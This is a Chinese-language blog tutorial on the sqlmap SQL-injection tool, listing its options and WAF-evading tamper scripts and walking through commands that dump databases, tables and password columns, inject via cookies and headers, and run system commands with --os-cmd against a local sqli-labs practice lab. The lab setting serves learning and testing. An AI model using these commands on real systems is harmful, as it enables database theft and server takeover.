zoukankan      html  css  js  c++  java
  • sqlmap使用教程(超详细)

    -u 指定目标URL (可以是http协议也可以是https协议)
    -d 连接数据库
    --dbs 列出所有的数据库
    --current-db 列出当前数据库
    --tables 列出当前的表
    --columns 列出当前的列
    -D 选择使用哪个数据库
    -T 选择使用哪个表
    -C 选择使用哪个列
    --dump 获取字段中的数据
    --batch 自动选择yes
    --smart 启发式快速判断,节约浪费时间
    --forms 尝试使用post注入
    -r 加载文件中的HTTP请求(本地保存的请求包txt文件)
    -l 加载文件中的HTTP请求(本地保存的请求包日志文件)
    -g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
    -o 开启所有默认性能优化
    --tamper 调用脚本进行注入
    -v 指定sqlmap的回显等级
    --delay 设置多久访问一次
    --os-shell 获取主机shell,一般不太好用,因为没权限
    -m 批量操作
    -c 指定配置文件,会按照该配置文件执行动作
    -data data指定的数据会当做post数据提交
    -timeout 设定超时时间
    -level 设置注入探测等级
    --risk 风险等级
    --identify-waf 检测防火墙类型
    --param-del="分割符" 设置参数的分割符
    --skip-urlencode 不进行url编码
    --keep-alive 设置持久连接,加快探测速度
    --null-connection 检索没有body响应的内容,多用于盲注
    --thread 最大为10 设置多线程
     
    --delay
    有些web服务器请求访问太过频繁可能会被防火墙拦截,使用--delay就可以设定两次http请求的延时
    --safe-url
    有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用--safe-url 就可以每隔一段时间去访问一个正常的页面。
     
    --tamper
    语法:--tamper ["脚本名称"]
    当调用多个脚本的时候,脚本之间用逗号隔开,调用的脚本在 sqlmap文件夹下的 tamper 文件夹中

    脚本信息

    apostrophemask.py              用UTF-8全角字符替换单引号字符
    apostrophenullencode.py        用非法双字节unicode字符替换单引号字符
    appendnullbyte.py              在payload末尾添加空字符编码
    base64encode.py                对给定的payload全部字符使用Base64编码
    between.py                     分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
    bluecoat.py                    在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
    chardoubleencode.py            对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
    charencode.py                  对给定的payload全部字符使用URL编码(不处理已经编码的字符)
    charunicodeencode.py           对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
    concat2concatws.py            用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
    equaltolike.py                用“LIKE”运算符替换全部等于号“=”
    greatest.py                   用“GREATEST”函数替换大于号“>”
    halfversionedmorekeywords.py  在每个关键字之前添加MySQL注释
    ifnull2ifisnull.py            用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
    lowercase.py                  用小写值替换每个关键字字符
    modsecurityversioned.py       用注释包围完整的查询
    modsecurityzeroversioned.py   用当中带有数字零的注释包围完整的查询
    multiplespaces.py             在SQL关键字周围添加多个空格
    nonrecursivereplacement.py    用representations替换预定义SQL关键字,适用于过滤器
    overlongutf8.py               转换给定的payload当中的所有字符
    percentage.py                 在每个字符之前添加一个百分号
    randomcase.py                 随机转换每个关键字字符的大小写
    randomcomments.py             向SQL关键字中插入随机注释
    securesphere.py               添加经过特殊构造的字符串
    sp_password.py                向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
    space2comment.py              用“/**/”替换空格符
    space2dash.py                 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
    space2hash.py                 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
    space2morehash.py             用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
    space2mssqlblank.py           用一组有效的备选字符集当中的随机空白符替换空格符
    space2mssqlhash.py            用磅注释符“#”其次是一个换行符替换空格符
    space2mysqlblank.py           用一组有效的备选字符集当中的随机空白符替换空格符
    space2mysqldash.py            用破折号注释符“--”其次是一个换行符替换空格符
    space2plus.py                 用加号“+”替换空格符
    space2randomblank.py          用一组有效的备选字符集当中的随机空白符替换空格符
    unionalltounion.py            用“UNION SELECT”替换“UNION ALL SELECT”
    unmagicquotes.py              用一个多字节组合%bf%27和末尾通用注释一起替换空格符 宽字节注入
    varnish.py                    添加一个HTTP头“X-originating-IP”来绕过WAF
    versionedkeywords.py          用MySQL注释包围每个非函数关键字
    versionedmorekeywords.py      用MySQL注释包围每个关键字
    xforwardedfor.py              添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
    
    -v ["x"]
    使用sqlmap注入测试时,可以使用 -v [x] 参数来指定回显信息的复杂程度, x 的取值范围为[0~6]:
    等级
    解释
    0
    只显示python错误以及严重信息
    1
    同时显示基本信息和警告信息
    2
    同时显示debug信息
    3
    同时显示注入的pyload
    4
    同时显示HTTP请求
    5
    同时显示HTTP相应头
    6
    同时显示HTTP相应页面
     
    --level
    level有5个等级,默认等级为1,进行Cookie测试时使用--level 2 ,进行use-agent或refer测试时使用--level 3 ,进行 host 测试时使用--level 5
     
    –-os-cmd=["命令"] 或 --os-shell=["命令"] 执行系统命令
    利用sql-labs-less1测试 whoami 命令
    sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami
    选择web服务器支持的语言

     选择web服务器的可写目录

    [1] 使用默认的
    [2] 自定义位置
    [3] 自定义目录列表文件
    [4] 暴力搜索

    我在本地测试,节省时间,我选择2 ,自定义路径,然后把路径输入在下面

    执行命令后的返回结果

    以下关卡均可用get型的方法,常规注入

    step1:sqlmap -u ["URL"] //测试是否存在注入
    step2:sqlmap -u ["URL"] -current-db //查询当前数据库
    step3:sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表
    step4:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段)
    step5:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库中指定表指定列中的字段内容
    
     
    GET型
    关卡
    类型
    sql-labs-less1
    GET单引号字符型注入
    sql-labs-less2
    数字型注入
    sql-labs-less3
    有括号的单引号报错注入
    sql-labs-less4
    有括号的双引号报错注入
    sql-labs-less5
    单引号二次注入
    sql-labs-less6
    双引号二次注入
    sql-labs-less7
    文件导入导出
    sql-labs-less8
    布尔型盲注
    sql-labs-less9
    时间型盲注
    sql-labs-less10
    双引号时间盲注
     
    sql注入检测
    get型:
    语法:sqlmap -u ["url"]
    sqlmap -u http://192.168.0.6/sqli-labs-master/Less-1/?id=1
    

     post型:

    先使用bp把提交的数据包保存下来

    或者直接

    加上post提交的参数

    语法:sqlmap -r ["请求包的txt文件"]

    sqlmap -r "/root/.sqlmap/post.txt"
    

     

    sql-labs -less1~sql-labs-less9

    获取当前数据库名称:
    语法:sqlmap -u [“url”] --current-db
    sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --current-db
    

    获取指定数据库的表名:

    语法:sqlmap -u [“url”] -D [‘数据库名’] --tables
    sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security --tables
    

    获取指定数据库指定表中的字段:

    语法:sqlmap -u [“url”] -D [‘数据库名’] -T[‘表名’] --columns
    sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users --columns
    

    获取指定数据库指定表的指定字段的字段内容:

    语法:sqlmap -u [“url”] -D [‘数据库名’] -T [‘表名’] -C [‘字段名1,字段名2,…’] --dump
    sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users -C password --dump
    

     sql-labs-less10

    sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" --current-db
    

     

    提升等级 -level 2

    sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" -level 2 --current-db
    

     

     sql-labs-less11~less17常规 POST 注入

    step1:sqlmap -r ["请求头文本"]  //测试是否存在注入
    step2:sqlmap -r ["请求头文本"] --current-db //查询当前数据库
    step3:sqlmap -r ["请求头文本"] -D ["数据库名"] --tables //查询当前数据库的所有表
    step4:sqlmap -r ["请求头文本"] -D ["数据库名"] -T ["表名"] --columns //查询指定库指定表的所有列
    step5:sqlmap -r ["请求头文本"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库指定表指定列的所有字段内容
    
     
    POST
    关卡
    类型
    sql-labs-less11
    基于错误的单引号字符型注入
    sql-labs-less12
    基于错误的双引号字符型注入
    sql-labs-less13
    单引号变形双注入
    sql-labs-less14
    双引号变形双注入
    sql-labs-less15
    Bool型时间延迟单引号盲注
    sql-labs-less16
    Bool型时间延迟双引号盲注
    sql-labs-less17
    更新查询注入
    sql-labs-less18
    Uagent注入
    sql-labs-less19
    Referer注入
    sql-labs-less20
    Cookie注入
     
     
     
    sql-labs-less18
    Header injection - Uagent
    sqlmap 在对user-agent 注入的时候,得在文件中的user-agent的参数后面加上 *

     

    或者不加 * 号,调用 --level参数,将等级调至 3级,只有等级为 3级即以上时才能对 user-agent进行注入

    sqlmap -r "/root/.sqlmap/post.txt" -level 3
    

     

     

    sql-labs-less19
    Header injection - Referer
    对Referer注入和User-agent相同,要么是在Referer后面加上 *

     

    或者将 level 调至 3 级

     

    sql-labs-less20
    Header injection -Cookie
    语法:sqlmap -u [“url”] --cookie ["cookie信息"] --level 2
    sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-20/index.php" --cookie "pma_lang=zh_CN;pma_mcrypt_iv=AoXpKxU5KcY%3D;pmaUser-1=7%2FwV%2BDOfbmI%3D;uname=admin;" --level 2
    

     

    文章仅作为学习笔记,欢迎指正,不喜勿喷!
  • 相关阅读:
    003 All Primitives In Java
    002 JAVA Hello World!
    001 JAVA- 塑造可跟着你走的IDE
    input子系统
    ctargs使用
    内核中的锁
    GridView 使用详解
    Button 使用详解
    TextView 使用详解
    ImageView 使用详解
  • 原文地址:https://www.cnblogs.com/Hunter-01001100/p/12377393.html
Copyright © 2011-2022 走看看